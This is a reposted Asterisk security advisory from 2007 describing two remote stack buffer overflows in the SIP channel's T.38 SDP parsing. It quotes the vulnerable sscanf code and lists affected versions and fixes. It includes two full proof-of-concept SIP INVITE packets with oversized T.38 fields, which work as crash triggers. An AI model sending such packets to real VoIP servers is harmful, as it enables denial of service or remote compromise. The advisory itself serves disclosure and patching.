Two stack buffer overflows in SIP channel's T.38 SDP parsing code

2007.04.28
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

> Asterisk Project Security Advisory - ASA-2007-010 > > +----------------------------------------------------------------------- -+ > | Product | Asterisk | > |--------------------+-------------------------------------------------- -| > | Summary | Two stack buffer overflows in SIP channel's T.38 | > | | SDP parsing code | > |--------------------+-------------------------------------------------- -| > | Nature of Advisory | Exploitable Stack Buffer Overflow | > |--------------------+-------------------------------------------------- -| > | Susceptibility | Remote Unauthenticated Sessions | > |--------------------+-------------------------------------------------- -| > | Severity | Moderate | > |--------------------+-------------------------------------------------- -| > | Exploits Known | No | > |--------------------+-------------------------------------------------- -| > | Reported On | March 22, 2007 | > |--------------------+-------------------------------------------------- -| > | Reported By | Barrie Dempster, NGS Software, | > | | <barrie (at) ngssoftware (dot) com [email concealed]> | > |--------------------+-------------------------------------------------- -| > | Posted On | April 24, 2007 | > |--------------------+-------------------------------------------------- -| > | Last Updated On | April 24, 2007 | > |--------------------+-------------------------------------------------- -| > | Advisory Contact | kpfleming (at) digium (dot) com [email concealed] | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -------------+ > |Description|Two closely related stack based buffer overflows exist in the SIP/SDP | > | |handler of Asterisk, the vulnerabilities are very similar but exist as | > | |two separate unsafe function calls. The T38FaxRateManagement and | > | |T38FaxUdpEC SDP parameters can be exploited remotely leading to | > | |arbitrary code execution without authentication. In order for these | > | |overflows to occur, t38 fax over SIP must be enabled in sip.conf. | > | |Examples of SIP INVITE packets are shown below, however these | > | |vulnerabilities can be triggered with a number of different SIP messages| > | |affecting calls received by Asterisk, or in response to calls made by | > | |Asterisk. | > | | | > | |Remote Unauthenticated stack overflow in Asterisk SIP/SDP | > | |T38FaxRateManagement parameter | > | | | > | |A remote unauthenticated stack overflow exists in the SIP/SDP handler of| > | |Asterisk. By sending a SIP packet with SDP data which includes an overly| > | |long T38 parameter it is possible to overflow a stack based buffer and | > | |execute arbitrary code. | > | | | > | |The process_sdp function of chan_sip.c in Asterisk contains the | > | |following vulnerable call to sscanf. | > | | | > | |else if ((sscanf(a, "T38FaxRateManagement:%s", s) == 1)) { | > | | | > | |found = 1; | > | | | > | |if (option_debug > 2) | > | | | > | |ast_log(LOG_DEBUG, "RateMangement: %sn", s); | > | | | > | |if (!strcasecmp(s, "localTCF")) | > | | | > | |peert38capability |= | > | | | > | |T38FAX_RATE_MANAGEMENT_LOCAL_TCF; | > | | | > | |else if (!strcasecmp(s, "transferredTCF")) | > | | | > | |peert38capability |= | > | | | > | |T38FAX_RATE_MANAGEMENT_TRANSFERED_TCF; | > | | | > | |This attempts to read the "T38FaxRateManagement:" option from the SDP | > | |within a SIP packet and copy the succeeding string into "s". There are | > | |no checks on the length of this string and we can therefore write past | > | |the boundaries of the "s" variable overwriting adjacent memory on the | > | |stack. "s" is defined earlier in this function as being a character | > | |array of only 256 bytes. The following example packet demonstrates an | > | |overflow of this parameter: | > | | | > | |INVITE sip:200 (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0 | > | | | > | |Date: Wed, 21 Mar 2007 4:20:09 GMT | > | | | > | |CSeq: 1 INVITE | > | | | > | |Via: SIP/2.0/UDP | > | | | > | |10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rpor t| > | | | > | |User-Agent: NGS/2.0 | > | | | > | |From: "Barrie Dempster" | > | | | > | |<sip:zeedo (at) 10.0.0 (dot) 123 [email concealed]:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672 | > | | | > | |Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades | > | | | > | |To: <sip:200@localhost> | > | | | > | |Contact: <sip:zeedo (at) 10.0.0 (dot) 123 [email concealed]:5068;transport=udp> | > | | | > | |Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE | > | | | > | |Content-Type: application/sdp | > | | | > | |Content-Length: 796 | > | | | > | |Max-Forwards: 70 | > | | | > | |v=0 | > | | | > | |o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1 | > | | | > | |s=- | > | | | > | |c=IN IP4 127.0.0.1 | > | | | > | |t=0 0 | > | | | > | |m=image 5004 UDPTL t38 | > | | | > | |a=T38FaxVersion:0 | > | | | > | |a=T38MaxBitRate:14400 | > | | | > | |a=T38FaxMaxBuffer:1024 | > | | | > | |a=T38FaxMaxDatagram:238 | > | | | > | |a=T38FaxRateManagement:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAA | > | | | > | |a=T38FaxUdpEC:t38UDPRedundancy | > | | | > | |------------------------------------------------- | > | | | > | |Remote Unauthenticated stack overflow in Asterisk SIP/SDP T38FaxUdpEC | > | |parameter | > | | | > | |A remote unauthenticated stack overflow exists in the SIP/SDP handler of| > | |Asterisk. By sending a SIP packet with SDP data which includes an overly| > | |long T38FaxUdpEC parameter it is possible to overflow a stack based | > | |buffer and execute arbitrary code. | > | | | > | |The process_sdp function of chan_sip.c in Asterisk contains the | > | |following vulnerable call to sscanf. | > | | | > | |else if ((sscanf(a, "T38FaxUdpEC:%s", s) == 1)) { | > | | | > | |found = 1; | > | | | > | |if (option_debug > 2) | > | | | > | |ast_log(LOG_DEBUG, "UDP EC: %sn", s); | > | | | > | |if (!strcasecmp(s, "t38UDPRedundancy")) { | > | | | > | |peert38capability |= | > | | | > | |T38FAX_UDP_EC_REDUNDANCY; | > | | | > | |ast_udptl_set_error_correction_scheme(p->udptl, | > | | | > | |UDPTL_ERROR_CORRECTION_REDUNDANCY); | > | | | > | |This attempts to read the "T38FaxUdpEC:" option from the SDP within a | > | |SIP packet and copy the succeeding string into "s". There are no checks | > | |on the length of this string and we can therefore write past the | > | |boundaries of the "s" variable overwriting adjacent memory on the stack.| > | |"s" is defined earlier in this function as being a character array of | > | |only 256 bytes. The following example packet demonstrates an overflow of| > | |this parameter: | > | | | > | |INVITE sip:200 (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0 | > | | | > | |Date: Wed, 21 Mar 2007 4:20:09 GMT | > | | | > | |CSeq: 1 INVITE | > | | | > | |Via: SIP/2.0/UDP | > | | | > | |10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rpor t| > | | | > | |User-Agent: NGS/2.0 | > | | | > | |From: "Barrie Dempster" | > | | | > | |<sip:zeedo (at) 10.0.0 (dot) 123 [email concealed]:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672 | > | | | > | |Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades | > | | | > | |To: <sip:200@localhost> | > | | | > | |Contact: <sip:zeedo (at) 10.0.0 (dot) 123 [email concealed]:5068;transport=udp> | > | | | > | |Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE | > | | | > | |Content-Type: application/sdp | > | | | > | |Content-Length: 796 | > | | | > | |Max-Forwards: 70 | > | | | > | |v=0 | > | | | > | |o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1 | > | | | > | |s=- | > | | | > | |c=IN IP4 127.0.0.1 | > | | | > | |t=0 0 | > | | | > | |m=image 5004 UDPTL t38 | > | | | > | |a=T38FaxVersion:0 | > | | | > | |a=T38MaxBitRate:14400 | > | | | > | |a=T38FaxMaxBuffer:1024 | > | | | > | |a=T38FaxMaxDatagram:238 | > | | | > | |a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | > | | | > | |AAAAAAAAA | > +----------------------------------------------------------------------- -------------+ > > +----------------------------------------------------------------------- -+ > | Resolution | T.38 support in the affected versions of Asterisk is not | > | | enabled by default, therefore the severity of this issue | > | | is 'moderate'. | > | | | > | | Users who are using the default configuration with | > | | 't38_udptl' set to 'no' or an equivalent value are not | > | | susceptible to this vulnerability. Users who have set | > | | this configuration item to 'yes' or an equivalent value | > | | but are not actually using T.38 support can set it to | > | | 'no' to secure their systems against this vulnerability. | > | | | > | | All other users are urged to upgrade to the appropriate | > | | version of their Asterisk product listed in the | > | | 'Corrected In' section below. | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Affected Versions | > |----------------------------------------------------------------------- -| > | Product | Release | | > | | Series | | > |------------------------------+-------------+-------------------------- -| > | Asterisk Open Source | 1.0.x | not affected; does not | > | | | contain T.38 support | > |------------------------------+-------------+-------------------------- -| > | Asterisk Open Source | 1.2.x | not affected, does not | > | | | contain T.38 support | > |------------------------------+-------------+-------------------------- -| > | Asterisk Open Source | 1.4.x | all releases prior to | > | | | 1.4.3 | > |------------------------------+-------------+-------------------------- -| > | Asterisk Business Edition | A.x.x | not affected, does not | > | | | contain T.38 support | > |------------------------------+-------------+-------------------------- -| > | Asterisk Business Edition | B.x.x | not affected, does not | > | | | contain T.38 support | > |------------------------------+-------------+-------------------------- -| > | AsteriskNOW | pre-release | all releases prior to and | > | | | including Beta 5 | > |------------------------------+-------------+-------------------------- -| > | Asterisk Appliance Developer | 0.x.x | all releases prior to | > | Kit | | 0.4.0 | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Corrected In | > |----------------------------------------------------------------------- -| > | Product | Release | > |--------------------+-------------------------------------------------- -| > | Asterisk Open | 1.4.3, available from | > | Source | ftp://ftp.digium.com/pub/telephony/asterisk | > |--------------------+-------------------------------------------------- -| > | AsteriskNOW | Beta 6, when available from | > | | http://www.asterisknow.org, Beta 5 users can use | > | | use 'System Update' in the appliance control | > | | panel to update their version of AsteriskNOW | > |--------------------+-------------------------------------------------- -| > | Asterisk Appliance | 0.4.0, available from | > | Developer Kit | ftp://ftp.digium.com/pub/telephony/aadk | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Links | | > +----------------------------------------------------------------------- -+ > > +----------------------------------------------------------------------- -+ > | Asterisk Project Security Advisories are posted at | > | http://www.asterisk.org/security. | > | | > | This document may be superseded by later versions; if so, the latest | > | version will be posted at | > | http://www.asterisk.org/files/ASA-2007-010.pdf. | > +----------------------------------------------------------------------- -+ > > Asterisk Project Security Advisory - ASA-2007-010 > Copyright (c) 2007 Digium, Inc. All Rights Reserved. > Permission is hereby granted to distribute and publish this advisory in its > original, unaltered form.


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